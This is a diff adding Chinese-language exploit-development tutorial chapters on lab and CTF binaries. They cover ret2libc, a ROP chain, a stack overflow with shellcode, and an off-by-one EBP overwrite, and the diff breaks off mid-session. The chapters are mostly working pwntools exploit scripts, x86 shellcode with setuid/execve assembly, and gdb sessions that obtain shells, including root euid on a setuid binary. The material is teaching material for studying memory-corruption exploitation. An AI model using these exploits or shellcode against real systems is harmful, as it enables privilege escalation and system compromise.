0xb7fcd000 r--p /lib/i386-linux-gnu/libc-2.19.so +0xb7fcd000 0xb7fce000 rw-p /lib/i386-linux-gnu/libc-2.19.so +... +``` + +而已知 lib 里面含有`system`这样的函数, 也含有`/bin/sh`字符串, 构造出`system("/bin/sh")`就可以, 不过 system 的一个实现如下: + +```c +int +system(const char *command) +{ + pid_t pid; + sig_t intsave, quitsave; + sigset_t mask, omask; + int pstat; + char *argp[] = {"sh", "-c", NULL, NULL}; + if (!command) /* just checking... */ + return(1); + argp[2] = (char *)command; + sigemptyset(&mask); + sigaddset(&mask, SIGCHLD); + sigprocmask(SIG_BLOCK, &mask, &omask); + switch (pid = vfork()) { + case -1: /* error */ + sigprocmask(SIG_SETMASK, &omask, NULL); + return(-1); + case 0: /* child */ + sigprocmask(SIG_SETMASK, &omask, NULL); + execve(_PATH_BSHELL, argp, environ); + _exit(127); +} +``` + +可以看出构造出 sh 开头指令, 让 execve 去执行,sh 很多平台是 bash 的符号链接, 而 bash 在早期版本就修正了 sh -c suid 为 0 的安全问题. +好了, 继续我们手下的活, 找出`/bin/sh`和`system()`位置. + +```shell +gdb-peda$ p system +1ドル = {} 0xb7e63190 <__libc_system> +gdb-peda$ searchmem "/bin/sh" libc +Searching for '/bin/sh' in: libc ranges +Found 1 results, display max 1 items: +libc : 0xb7f83a24 ("/bin/sh") +``` + +好了, 基本条件都具备了, 准备 exp. + +# 0x03 construction + +exp 布局大约是 + + 140bytes 填充 + system 地址 + system 返回过后的地址 + "/bin/sh"地址 + +新的问题来了,system 返回过后的地址是什么? 我打算放的函数`exit()`地址,`exit()`是需要一个参数的. 虽然这样解决也不是很好, 但是起码不会 segment fault. + +```python +#!/usr/bin/env python +from pwn import * + +p = process('./level2') +ret = 0xb7e561e0 +systemaddr = 0xb7e63190 +binshaddr = 0xb7f83a24 +payload = 'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr) +p.send(payload) +p.interactive() +``` + +```shell +Sn0rt@warzone:~/lab$ python exp_level2.py +[+] Starting program './level2': Done +[*] Switching to interactive mode +$ id +uid=1042(Sn0rt) gid=1043(Sn0rt) groups=1043(Sn0rt) +``` + +# 0x04 others + +对 suid 程序攻击套路,`setuid(0)`然后`execve("/bin//sh", ["/bin//sh", NULL], [NULL])` 或 `system("/bin/sh")`,shellcode 应该是下面这样子, 不过因为权限问题. 但是这些样功能可以通过`libc`里面以及有点代码构造出来, 而且那些代码没有执行权限的问题. + +```x86asm +BITS 32 + +; setresuid(uid_t ruid, uid_t euid, uid_t suid); + xor eax, eax ; zero out eax + xor ebx, ebx ; zero out ebx + xor ecx, ecx ; zero out ecx + cdq ; zero out edx using the sign bit from eax + mov BYTE al, 0xa4 ; syscall 164 (0xa4) + int 0x80 ; setresuid(0, 0, 0) restore all root privs + +; execve(const char *filename, char *const argv [], char *const envp[]) + push BYTE 11 ; push 11 to the stack + pop eax ; pop dword of 11 into eax + push ecx ; push some nulls for string termination + push 0x68732f2f ; push "//sh" to the stack + push 0x6e69622f ; push "/bin" to the stack + mov ebx, esp ; put the address of "/bin//sh" into ebx, via esp + push ecx ; push 32-bit null terminator to stack + mov edx, esp ; this is an empty array for envp + push ebx ; push string addr to stack above null terminator + mov ecx, esp ; this is the argv array with string ptr + int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL]) +``` + +### reference + +[^wooyun]: [wooyun drops](http://drops.wooyun.org/tips/6597) +[^phrack]: [Nergal Advanced return-to-libc exploit(s) Phrack 49, Volume 0xb, Issue 0x3a](http://phrack.org/issues/58/4.html) diff --git a/chapter2/linux-x86-rop-chain.md b/chapter2/linux-x86-rop-chain.md new file mode 100644 index 0000000..acb0034 --- /dev/null +++ b/chapter2/linux-x86-rop-chain.md @@ -0,0 +1,158 @@ +# 0x00 background + +实验吧上面一个 pwn[^question] 拿来学习一下,[pwn5](../media/attach/pwn5). + +# 0x01 recce + +需要判断出在多少字节发生溢出. + +```python +python -c 'import string; print(string.ascii_uppercase)' +``` +利用上面 A-Z 变成输入来判断大约位于多少个字符处发生溢出, 在下面我用 A 字母代替溢出发生的地址. + +```shell +Please Input Your Name: +ABCDEFGHIJKLMNOPQRSTAAAAYZ + +Program received signal SIGSEGV, Segmentation fault. +[----------------------------------registers-----------------------------------] +EAX: 0x1b +EBX: 0x0 +ECX: 0xffffcff8 ("ABCDEFGHIJKLMNOPQRSTAAAAYZ\n") +EDX: 0x400 +ESI: 0x8048910 (<__libc_csu_fini>: push ebp) +EDI: 0xc2070e82 +EBP: 0x54535251 ('QRST') +ESP: 0xffffd010 --> 0xa5a59 ('YZ\n') +EIP: 0x41414141 ('AAAA') +EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] +Invalid $PC address: 0x41414141 +[------------------------------------stack-------------------------------------] +0000| 0xffffd010 --> 0xa5a59 ('YZ\n') +0004| 0xffffd014 --> 0x80ab5c8 ("Please Input Your Name:\n") +0008| 0xffffd018 --> 0x18 +0012| 0xffffd01c --> 0x0 +0016| 0xffffd020 --> 0x8048910 (<__libc_csu_fini>: push ebp) +0020| 0xffffd024 --> 0xc2070e82 +0024| 0xffffd028 --> 0xffffd098 --> 0x0 +0028| 0xffffd02c --> 0x8048475 (<__libc_start_main+421>: mov DWORD PTR [esp],eax) +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value +``` +成功验证想法. + +```shell +#0 0x41414141 in ?? () +(gdb) x/8wx $esp-24 +0xffffd058: 0x44434241 0x48474645 0x4c4b4a49 0x504f4e4d +0xffffd068: 0x54535251 0x41414141 0x000a5a59 0x080ab5c8 +(gdb) x/8wx $esp-4 +0xffffd06c: 0x41414141 0x000a5a59 0x080ab5c8 0x00000018 +0xffffd07c: 0x00000000 0x08048910 0x9d471dc0 0xffffd0f8 +``` +可以判断 read() 调用在 stack 上面的 buffer 开始地址是 0xffffd058, 且 ret 的地址是 0xxffffd06c. + +# 0x02 simple payload + +如果我们把 0xffffd06c 里面值由 0x41414141 换成 main 开始的地址, 那么程序按道理说可以输出两次"Please Input Your Name:". + + +```python +from pwn import * +remote = process('./pwn5') +ret=0x08048285 + +palyload = 'A' * 20 + p32(ret) +remote.send(palyload) +remote.interactive() +``` + +```shell +➜ Downloads python simple.py +[+] Started program './pwn5' +[*] Switching to interactive mode +Please Input Your Name: +Please Input Your Name: +``` + +成功验证想法. + +```shell +(gdb) checksec +CANARY : disabled +FORTIFY : disabled +NX : ENABLED +PIE : disabled +RELRO : disabled +``` + +发现了启用了 nx 安全机制, 那么在栈上面布局 shellcode 不现实 [^storm]. + +# 0x03 ROPgadget + +既然 NX 启动了, 按照套路寻找 gadget, 这个体力活可以利用自动化的工具构造 rop chain[^roptools]. + +```shell +ROPgadget --binary pwn5 --ropchain +``` +一条指令完成很多工作. + +```python +#!/usr/bin/env python2 +# execve generated by ROPgadget + +from struct import pack +import pwn +remote = pwn.process('./pwn5') +#remote = pwn.remote('124.42.117.57',8885) +#remote.recv() + +# Padding goes here +p = '' +p += pack(' +#include +#include + +void vulnerable_function() { + char buf[128]; + read(STDIN_FILENO, buf, 256); +} + +int main(int argc, char** argv) { + vulnerable_function(); + write(STDOUT_FILENO, "Hello, World\n", 13); +} +``` + +# 0x02 recce + +pead 可以帮你生成用于测试缓冲区的填充数据. + +```shell +gdb-peda$ pattern create 150 +'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA' +gdb-peda$ run +Starting program: /home/Sn0rt/workspace/exp_devel_doc/lab/level1 +Missing separate debuginfos, use: dnf debuginfo-install glibc-2.22-16.fc23.i686 +AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA + +Program received signal SIGSEGV, Segmentation fault. +[----------------------------------registers-----------------------------------] +EAX: 0x97 +EBX: 0x0 +ECX: 0xffffcef0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n377円") +EDX: 0x100 +ESI: 0x1 +EDI: 0xf7fb4000 --> 0x1c8db0 +EBP: 0x41514141 ('AAQA') +ESP: 0xffffcf80 ("RAAoAA\n377円") +EIP: 0x41416d41 ('AmAA') +EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] +Invalid $PC address: 0x41416d41 +[------------------------------------stack-------------------------------------] +0000| 0xffffcf80 ("RAAoAA\n377円") +0004| 0xffffcf84 --> 0xff0a4141 +0008| 0xffffcf88 --> 0x0 +0012| 0xffffcf8c --> 0xf7e03545 (<__libc_start_main+245>: add esp,0x10) +0016| 0xffffcf90 --> 0x1 +0020| 0xffffcf94 --> 0xf7fb4000 --> 0x1c8db0 +0024| 0xffffcf98 --> 0x0 +0028| 0xffffcf9c --> 0xf7e03545 (<__libc_start_main+245>: add esp,0x10) +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value +Stopped reason: SIGSEGV +0x41416d41 in ?? () +gdb-peda$ pattern offset AmAA +AmAA found at offset: 140 + +``` + +# 0x03 shellcode + +peda 可以帮你生成测试用的 shellcode, 这个 shellcode 看见参数可以猜测就是执行一个 shell 没有 setuid(0). + +```shell +Sn0rt@warzone:~/lab$ gdb -q --batch -ex "shellcode generate x86/linux exec" +# x86/linux/exec: 24 bytes +shellcode = ( + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31" + "\xc9\x89\xca\x6a\x0b\x58\xcd\x80" + ) +``` +也可以把 shelllcode 取出来, 放到环境变量里面, 虽然在这个 lab 里面没有用上, 但是 shellcode 放置在环境变量中也是个思路, 尤其是当 buffer 不够放置 shellcode 时候尤为合适. + +```shell +Sn0rt@warzone:~/lab$ for i in $(cat up_filename.c|grep "^\"" | cut -d\" -f2); do echo -en $i; done +``` + +# 0x04 implementation + +程序在 140 字节时候的字节覆盖了 eip, 那么可以把 shellcode 放到内存里面, 然后通过溢出 eip 来转跳到 shellcode 地址开始执行, 不过这个有点难度可以使用 nop 来布置一下内存, 让 eip 落到 +nop 的地方, 在一堆 nop 之后放置 shellcode, 这样难度小一点, 这个具体要看实际情况, 我们的 shellcode 24 字节远远小于 140 字节的缓冲区大小, 那么缓冲区布局可以是 + +```shell +nop + shellcode + 'AAA..' + return +``` + +exp 整理, 把 peda 生成的 shellcode 复制进去. + +```python +#!/usr/bin/env python +from pwn import * +p = process('./level1') +ret = 0xbfffffff +shellcode = "\x90" * 20 +shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31" +shellcode += "\xc9\x89\xca\x6a\x0b\x58\xcd\x80" +payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret) +p.send(payload) +p.interactive() +``` + +exp 调整, 把 ret 地址换成缓冲区开始地址 (0xbffff5d0), 应为我在栈上布置了 20 字节的 nop, 所有 ret 等于开始地址 +20 以内就可以了. + +```shell +Sn0rt@warzone:~/lab$ ls /tmp/ +total 76 +-rw------- 1 Sn0rt Sn0rt 221184 May 23 12:07 core.1464019622 +Sn0rt@warzone:~/lab$ gdb level1 /tmp/core.1464019622 +Reading symbols from level1...(no debugging symbols found)...done. +[New LWP 2123] +Core was generated by `./level1'. +Program terminated with signal SIGILL, Illegal instruction. +#0 0xbffff65e in ?? () +gdb-peda$ x/s $esp-144 +0xbffff5d0: "1300円Ph//shh/bin211円343円061円ɉ312円j\vX̀", 'A' , "020円366円377円277円304円323円", +gdb-peda$ quit +Sn0rt@warzone:~/lab$ vim exp.py +Sn0rt@warzone:~/lab$ python exp.py +[+] Starting program './level1': Done +[*] Switching to interactive mode +$ id +uid=1042(Sn0rt) gid=1043(Sn0rt) groups=1043(Sn0rt) +``` +最基本的栈溢出完成. + +# 0x05 thinking + +### sh 符号链接问题 + +在 SEED 文档里面提及, 关于替换 sh 符号链接提高安全性. 然后测试结果`ln -s /bin/zsh /bin/sh`使的 exp 变的失效, 和 SSED 参考手册里面不一致 (可能是 zsh 版本). +`ln -s /bin/bash /bin/sh` or `ln -s /bin/dash /bin/sh` exp 能继续执行. + +```shell +Sn0rt@warzone:~/lab$ zsh --version +zsh 5.0.2 (i686-pc-linux-gnu) +Sn0rt@warzone:~/lab$ bash --version +GNU bash, version 4.3.11(1)-release (i686-pc-linux-gnu) +``` + +### euid 权限问题 + +```shell +Sn0rt@warzone:~/lab$ sudo chown root:root level1 +Sn0rt@warzone:~/lab$ sudo chmod u+s level1 +Sn0rt@warzone:~/lab$ python exp_level1.py +[+] Starting program './level1': Done +[*] Switching to interactive mode +$ id +uid=1042(Sn0rt) gid=1043(Sn0rt) euid=0(root) groups=0(root),1043(Sn0rt) +$ passwd root +passwd: You may not view or modify password information for root. +``` + +uid 不是 root,euid() 是 root, 虽然不能修改 root 密码, 但是 dump shadow 不是问题, 这个现象应该就是 SEED 里面说的 (虽然 zsh 高版本好像显的更安全). + +>Moreover, to further protect against buffer overflow attacks and other attacks that use shell programs, many shell programs automatically drop their privileges when invoked. Therefore, even if you can "fool"a privileged Set-UID program to invoke a shell, you might not be able to retain the privileges within the shell. This protection scheme is implemented in /bin/bash. In Ubuntu, /bin/sh is actually a symbolic link to /bin/bash. To see the life before such protection scheme was implemented, we use another shell program (the zsh), instead of /bin/bash. + +不过把 uid 变成 0 也可以的, 因为 bash 起码 root 能用, 可以让 shellcode 执行`setuid(0)`把 setuid root 的进程变成真正的 root 进程, 然后`execve("/bin//sh", ["/bin//sh", NULL], [NULL])`. + +### reference + +[^wooyun]: [wooyun drops](http://drops.wooyun.org/tips/6597) +[^phrack]: [Aleph One. Smashing The Stack For Fun And Profit. Phrack 49, Volume 7, Issue 49](http://cecs.wright.edu/~tkprasad/courses/cs781/alephOne.html) +[^SEED]: [seed](http://www.cis.syr.edu/~wedu/seed/) diff --git a/chapter2/off-by-one.md b/chapter2/off-by-one.md new file mode 100644 index 0000000..36d8bdb --- /dev/null +++ b/chapter2/off-by-one.md @@ -0,0 +1,429 @@ +# 0x00 beginning + +>What is off-by-one bug? + +当被复制字符长度等于目的缓冲区的长度, 字符串结尾的`NULL`可能会覆盖和目的地址相邻的一个字节, 如果是在`stack`上面, 这个字节是函数调用者的`EBP`, 这个可能导致任意代码执行 [^origin]. + +存在的漏洞的代码: + +```c +// gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 + +#include +#include + +void foo(char* arg); +void bar(char* arg); + +void foo(char* arg) { + bar(arg); /* [1] */ +} + +void bar(char* arg) { + char buf[256]; + strcpy(buf, arg); /* [2] */ +} + +int main(int argc, char *argv[]) { + if(strlen(argv[1])>256) { /* [3] */ + printf("Attempted Buffer Overflow\n"); + fflush(stdout); + return -1; + } + foo(argv[1]); /* [4] */ + return 0; +} +``` + +标号 [2] 处就是`off-by-one`发生的地方, 目的缓冲区长度是 256 而源字符串长度也是 256. + +>It affects generated code in your binary. By default, GCC will arrange things so that every function, immediately upon entry, has its stack pointer aligned on **16-byte** boundary (this may be important if you have local variables, and enable sse2 instructions). +If you change the default to e.g. -mpreferred-stack-boundary=2, then GCC will align stack pointer on **4-byte boundary**. This will reduce stack requirements of your routines, but will crash if your code (or code you call) does use sse2, so is generally not safe. + +编译选项`mpreferred-stack-boundary`, 参考 [这个](http://stackoverflow.com/questions/10251203/gcc-mpreferred-stack-boundary-option). + +```shell + +gdb-peda$ disassemble foo +Dump of assembler code for function foo: + 0x080484cd <+0>: push ebp + 0x080484ce <+1>: mov ebp,esp + 0x080484d0 <+3>: sub esp,0x18 + ... +End of assembler dump. + +gdb-peda$ disassemble foo +Dump of assembler code for function foo: + 0x080484cd <+0>: push ebp + 0x080484ce <+1>: mov ebp, + 0x080484d0 <+3>: sub esp,0x4 + ... +End of assembler dump. + +gdb-peda$ disassemble main + 0x08048588 <+0>: push ebp + 0x08048589 <+1>: mov ebp,esp + 0x0804858b <+3>: and esp,0xfffffff0 + ... +End of assembler dump. + ... + 0x08048500 <+0>: push ebp + 0x08048501 <+1>: mov ebp,esp + 0x08048503 <+3>: sub esp,0x4 + ... +``` + +可以看见函数的序言部分, 栈抬高的大小不同,`foo`默认抬高是 24 字节,`main`是 16 字节, 通过上面的编译选项可以变成 4 字节. + +# 0x01 分析 + +> 如何去获得任意代码执行? + +这里去执行任意代码的技术叫`EBP overwrite`, 如果在内存布局当中调用者的`EBP`是位于`strcpy()`目的缓冲区之后, 那么`NULL`字节将会调用者的`EBP`的最后一字节覆盖掉. +看代码我们准备输入 256 字节的数据, 按照理论`NULL`会覆盖 foo 函数的`EBP`的最后字节为 00, + +```shell +Sn0rt@warzone:~/lab$ gdb off_by_one2 +Reading symbols from off_by_one2...done. +gdb-peda$ b bar +gdb-peda$ r $(python -c 'print "A"*256') +gdb-peda$ next +[----------------------------------registers-----------------------------------] +... +EBP: 0xbffff5a0 --> 0xbffff500 ('A' ) +... +[-------------------------------------code-------------------------------------] + 0x80484f6 : mov DWORD PTR [esp],eax + 0x80484f9 : call 0x8048380 +=> 0x80484fe : leave + 0x80484ff : ret +[------------------------------------stack-------------------------------------] +... +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value +14 } +gdb-peda$ bt +#0 bar (arg=0xbffff7a0 'A' ...) at off_by_one.c:14 +#1 0x080484de in foo (arg=0x41414141 ) at off_by_one.c:8 +Backtrace stopped: previous frame inner to this frame (corrupt stack?) +``` +gdb 可以质疑 backtrace 的时候调用栈遭到了破坏, 在上面寄存器区域可以看到`EBP`变成了`0xbffff500`. + +> EBP 被修改了与 EIP 什么关系? + +按照内存布局,foo 调用 bar,bar 函数调用`strcpy()`在`strcpy()`返回时候,foo 的`ebp`被修改了一点, 但`ebp`边上的 4 个字节是原来 foo 返回 main 的转跳地址, 这里就控制程序突破的地方! + +```x86asm +call: + push, eip + jmp lable +leave: + mov ebp, esp; + pop ebp; +ret: + pop eip +``` +上面这几条汇编指令理解可以帮助搞明白函数调用过程. + +```shell +gdb-peda$ bt +#0 bar (arg=0xbffff7a0 'A' ...) at off_by_one.c:14 +#1 0x080484de in foo (arg=0x41414141 ) at off_by_one.c:8 +Backtrace stopped: previous frame inner to this frame (corrupt stack?) +``` +栈回溯时候 gdb 可以发现 foo 返回 main 的路线遭到了破坏. + +```shell +gdb-peda$ next +[----------------------------------registers-----------------------------------] +... +EBP: 0xbffff500 ('A' ) +ESP: 0xbffff5a8 --> 0xbffff7a0 ('A' ...) +EIP: 0x80484de (: leave) +... +[-------------------------------------code-------------------------------------] + 0x80484d3 : mov eax,DWORD PTR [ebp+0x8] + 0x80484d6 : mov DWORD PTR [esp],eax + 0x80484d9 : call 0x80484e0 +=> 0x80484de : leave + 0x80484df : ret +[------------------------------------stack-------------------------------------] +... +Stopped reason: SIGSEGV +``` + +现在已经返回到 foo 了, 且准备继续像上返回, 这个时候问题暴露出来了, 违规了内存访问导致了`segment fault`. + +# 0x02 how to use? + +> What is the offset from destination buffer ? + +快速定位还是很容易的, 先利用起来, 套路如下: + +```shell +Sn0rt@warzone:~/lab$ gdb off_by_one2 +Reading symbols from off_by_one2...done. +gdb-peda$ pattern +pattern pattern_arg pattern_create pattern_env pattern_offset pattern_patch pattern_search +gdb-peda$ pattern_arg 256 +Set 1 arguments to program + +gdb-peda$ r +Starting program: /home/Sn0rt/lab/off_by_one2 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b' + +Program received signal SIGSEGV, Segmentation fault. +[----------------------------------registers-----------------------------------] +EAX: 0xbffff470 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA"...) +EBX: 0xb7fcd000 --> 0x1a9da8 +ECX: 0xbffff870 --> 0x58006225 ('%b') +EDX: 0xbffff56e --> 0xf5006225 +ESI: 0x0 +EDI: 0x0 +EBP: 0x6e414152 ('RAAn') +ESP: 0xbffff508 ("AoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b") +EIP: 0x41534141 ('AASA') +EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] +Invalid $PC address: 0x41534141 +[------------------------------------stack-------------------------------------] +0000| 0xbffff508 ("AoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b") +0004| 0xbffff50c ("TAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b") +0008| 0xbffff510 ("AAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b") +0012| 0xbffff514 ("AqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b") +0016| 0xbffff518 ("VAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b") +0020| 0xbffff51c ("AAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b") +0024| 0xbffff520 ("AsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b") +0028| 0xbffff524 ("XAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b") +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value +Stopped reason: SIGSEGV +0x41534141 in ?? () +gdb-peda$ patte +patte pattern pattern_arg pattern_create pattern_env pattern_offset pattern_patch pattern_search +gdb-peda$ pattern +pattern pattern_arg pattern_create pattern_env pattern_offset pattern_patch pattern_search +gdb-peda$ pattern offset AASA +AASA found at offset: 148 +``` +打算 BBBB 成功放入`EIP`, 测试一下 + +```shell +gdb-peda$ r $(python -c 'print "A" *148 + "BBBB" + "C" * (256-148-4)') +Starting program: /home/Sn0rt/lab/off_by_one2 $(python -c 'print "A" *148 + "BBBB" + "C" * (256-148-4)') + +Program received signal SIGSEGV, Segmentation fault. +[----------------------------------registers-----------------------------------] +EAX: 0xbffff470 ('A' , "BBBB", 'C' ...) +EBX: 0xb7fcd000 --> 0x1a9da8 +ECX: 0xbffff870 --> 0x58004343 ('CC') +EDX: 0xbffff56e --> 0xf5004343 +ESI: 0x0 +EDI: 0x0 +EBP: 0x41414141 ('AAAA') +ESP: 0xbffff508 ('C' ) +EIP: 0x42424242 ('BBBB') +EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] +Invalid $PC address: 0x42424242 +[------------------------------------stack-------------------------------------] +0000| 0xbffff508 ('C' ) +0004| 0xbffff50c ('C' ) +0008| 0xbffff510 ('C' ) +0012| 0xbffff514 ('C' ) +0016| 0xbffff518 ('C' ) +0020| 0xbffff51c ('C' ) +0024| 0xbffff520 ('C' ) +0028| 0xbffff524 ('C' ) +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value +Stopped reason: SIGSEGV +0x42424242 in ?? () +``` +准备一下 shellcode: + +```shell +Sn0rt@warzone:~/lab$ export SHELLCODE=$(cat shellcode.bin) +Sn0rt@warzone:~/lab$ ./getaddr SHELLCODE ./off_by_one +SHELLCODE will be at 0xbffff83c +gdb-peda$ r $(python -c 'print "A" *148 + "B" * 4 + "C" * (256-148-4)') +Starting program: /home/Sn0rt/lab/off_by_one2 $(python -c 'print "A" *148 + "B" * 4 + "C" * (256-148-4)') + +Program received signal SIGSEGV, Segmentation fault. +[----------------------------------registers-----------------------------------] +EAX: 0xbffff470 ('A' , "BBBB", 'C' ...) +... +EBP: 0x41414141 ('AAAA') +ESP: 0xbffff508 ('C' ) +EIP: 0x42424242 ('BBBB') +... +[-------------------------------------code-------------------------------------] +Invalid $PC address: 0x42424242 +[------------------------------------stack-------------------------------------] +... +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value +Stopped reason: SIGSEGV +0x42424242 in ?? () +gdb-peda$ r $(python -c 'print "A" *148 + "\x3c\xf8\xff\xbf" + "C" * (256-148-4)') +Starting program: /home/Sn0rt/lab/off_by_one2 $(python -c 'print "A" *148 + "\x3c\xf8\xff\xbf" + "C" * (256-148-4)') +process 6348 is executing new program: /bin/bash +sh-4.3$ +``` +到这里发现初步利用成功了. + +```shell +Sn0rt@warzone:~/lab$ ./off_by_one2 $(python -c 'print "A" *148 + "\x3c\xf8\xff\xbf" + "C" * (256-148-4)') +Segmentation fault (core dumped) +``` +命令行下面发现 crash 了, 发现调试环境不同于命令行环境, 可能是是`ptrace()`导致了内存布局变化, 有待验证. + +```shell +Sn0rt@warzone:~/lab$ gdb off_by_one2 /tmp/core.1464421157 +Reading symbols from off_by_one2...done. +[New LWP 6569] +Core was generated by `./off_by_one2 AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHA'. +Program terminated with signal SIGSEGV, Segmentation fault. +#0 0x25417325 in ?? () +``` +利用 peda 插件的的输出, 来测试分析一下. + +```python +>>> chr(0x25)+chr(0x73)+chr(0x41)+chr(0x25) +'%sA%' +``` +转换一下, 准备丢给 peda pattern offset 选项去计算. + +```shell +gdb-peda$ pattern offset %sA% +%sA% found at offset: 212 +Sn0rt@warzone:~/lab$ ./off_by_one2 $(python -c 'print "A" *212 + "\x3c\xf8\xff\xbf" + "\x90" * (256-212-4)') +sh-4.3$ +``` +利用完成, 野蛮高效. + +不过精确的方法不是这样猜的, 而是计算的. + +> How to calculate the offset of return address from destination buffer 'buf'? + +函数`foo`要返回`main`需要在`ebp`边上找到返回地址, 这个时候`ebp`上面的内容已经变成`buf`里面的内容了, 只用当在`foo`的`esp`减去`buf`坐在位置就是`eip`的 offset 了, 调试过程如下: + +```shell +gdb-peda$ pattern_arg 256 +Set 1 arguments to program +gdb-peda$ b bar +Breakpoint 1 at 0x80484e9: file off_by_one.c, line 13. +gdb-peda$ c +The program is not being run. +gdb-peda$ r +Starting program: /home/Sn0rt/lab/off_by_one2 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b' +[----------------------------------registers-----------------------------------] +EAX: 0xbffff772 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA"...) +EBX: 0xb7fcd000 --> 0x1a9da8 +ECX: 0x400008c2 +EDX: 0x2 +ESI: 0x0 +EDI: 0x0 +EBP: 0xbffff570 --> 0xbffff57c --> 0xbffff588 --> 0x0 +ESP: 0xbffff468 --> 0x0 +EIP: 0x80484e9 (: mov eax,DWORD PTR [ebp+0x8]) +EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] + 0x80484e0 : push ebp + 0x80484e1 : mov ebp,esp + 0x80484e3 : sub esp,0x108 +=> 0x80484e9 : mov eax,DWORD PTR [ebp+0x8] + 0x80484ec : mov DWORD PTR [esp+0x4],eax + 0x80484f0 : lea eax,[ebp-0x100] + 0x80484f6 : mov DWORD PTR [esp],eax + 0x80484f9 : call 0x8048380 +[------------------------------------stack-------------------------------------] +... +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value + +Breakpoint 1, bar ( + 